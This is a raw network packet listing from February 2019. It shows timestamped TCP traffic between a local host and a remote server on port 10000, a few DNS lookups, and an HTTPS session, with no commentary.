Feb 14, 2019 12:59:31.191952944 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191958904 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191972971 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191978931 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.192217112 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.284121037 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284235001 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284295082 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284406900 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284538031 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284625053 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284750938 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284873009 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.284996033 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285109997 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285222054 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285339117 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285451889 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285574913 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285693884 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285814047 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.285892010 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.285912037 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.285999060 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286026955 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286180019 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286298037 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286401033 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286545992 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286597013 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286721945 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286828041 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.286942005 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287070036 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287199974 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287313938 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287430048 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287517071 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.287533045 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.287563086 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.287580967 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287764072 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287827015 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287858009 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.287972927 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288084030 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288085938 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288094997 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288100004 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288105965 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288110971 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288115978 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288125038 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288198948 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288212061 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288321972 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288436890 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288563013 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288649082 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288657904 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288693905 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288767099 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.288856030 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288888931 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.288935900 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.289004087 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.289196014 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.289205074 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.289267063 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290385008 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290396929 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290402889 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290407896 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290435076 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290440083 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290520906 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290920019 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.290927887 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.291623116 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.381297112 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.381359100 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.381515026 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.381556988 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.381711960 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.381771088 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383057117 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383173943 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383291006 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383339882 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.383352041 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383485079 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383660078 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383686066 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383804083 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.383805990 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.383871078 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.383884907 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.383892059 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.383949041 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384165049 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384212971 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384319067 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384440899 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384609938 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384655952 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384773970 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384931087 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.384939909 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.384946108 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.385013103 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385112047 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385180950 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385293007 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385412931 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385518074 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385663033 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385782003 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.385896921 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386013985 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386035919 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386049986 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386054993 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386060953 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386065960 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386138916 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386188984 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386245966 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386271000 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.386409998 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386965036 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386970043 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386970997 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.386972904 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.387003899 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.387249947 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387264013 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387269020 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387274981 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387810946 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387821913 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387828112 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.387893915 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.388056993 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388060093 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388062000 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388062954 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388065100 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388669968 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388672113 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388674021 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388675928 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388676882 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.388864994 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.388880014 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.389161110 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.389170885 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.389518023 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.389525890 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.389544010 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.389549017 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.389743090 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.390557051 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.390568972 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.390634060 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.391155005 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.391161919 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.391168118 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.391204119 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.391560078 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.447098017 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.542779922 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.542810917 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.542916059 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.544969082 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.544985056 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.545002937 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:36.996640921 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:36.997133970 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.091881990 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.091907024 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.094036102 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.132266045 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.132783890 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.134423018 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.139636040 MEZ	61803	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:37.139761925 MEZ	50257	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:37.142788887 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.159153938 MEZ	53	61803	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:37.160187006 MEZ	53	50257	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:37.162187099 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.238575935 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.238924980 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.238964081 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.238996029 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.239027023 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.239137888 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.239254951 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.239367962 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.239422083 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.239573956 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.241590023 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.241607904 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.241614103 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.242120028 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.242127895 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.242182970 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.320704937 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.322324038 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.337156057 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337261915 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337380886 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337436914 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337553978 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337707043 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337842941 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.337897062 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.338016033 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.338135004 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.338253975 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.338385105 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.338687897 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.339432001 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.339436054 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.339437962 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.339438915 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.339441061 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:37.340246916 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340265036 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340270996 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340276957 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340312958 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340801001 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340812922 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340826035 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.340838909 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.342061043 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.342072964 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.342078924 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.342083931 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:37.365907907 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.524677038 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.524703979 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.524945021 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.525060892 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.525084019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.526174068 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.526189089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.526557922 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.527086020 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.527097940 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.527123928 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.528146982 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.528157949 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.547323942 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.549668074 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.590168953 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.749207020 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.749232054 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.751629114 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.751648903 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.754394054 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.907434940 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.909487963 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.925384998 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.925704002 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.925823927 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.925885916 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.926034927 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.926167965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927051067 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927324057 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.927567005 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927568913 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927571058 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927572012 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927897930 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.927956104 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.927973986 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.928057909 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.928715944 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:37.929029942 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.930146933 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.930159092 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:37.930165052 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.031078100 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.086218119 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.086272001 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.086795092 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.086913109 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.087008953 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.087282896 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.087702990 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.087707043 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.088040113 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.088287115 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.088289022 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.088289976 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.088490963 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.088577032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.088783979 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.088839054 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.089860916 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.089862108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.090193033 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.090207100 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.090430975 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.090432882 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.090434074 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.090435982 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.090437889 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.090749025 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.090756893 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.090761900 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.091495037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.091496944 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.091828108 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.091880083 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.092025042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.092026949 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.092027903 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.092973948 MEZ	49289	443	192.168.0.50	52.219.28.25
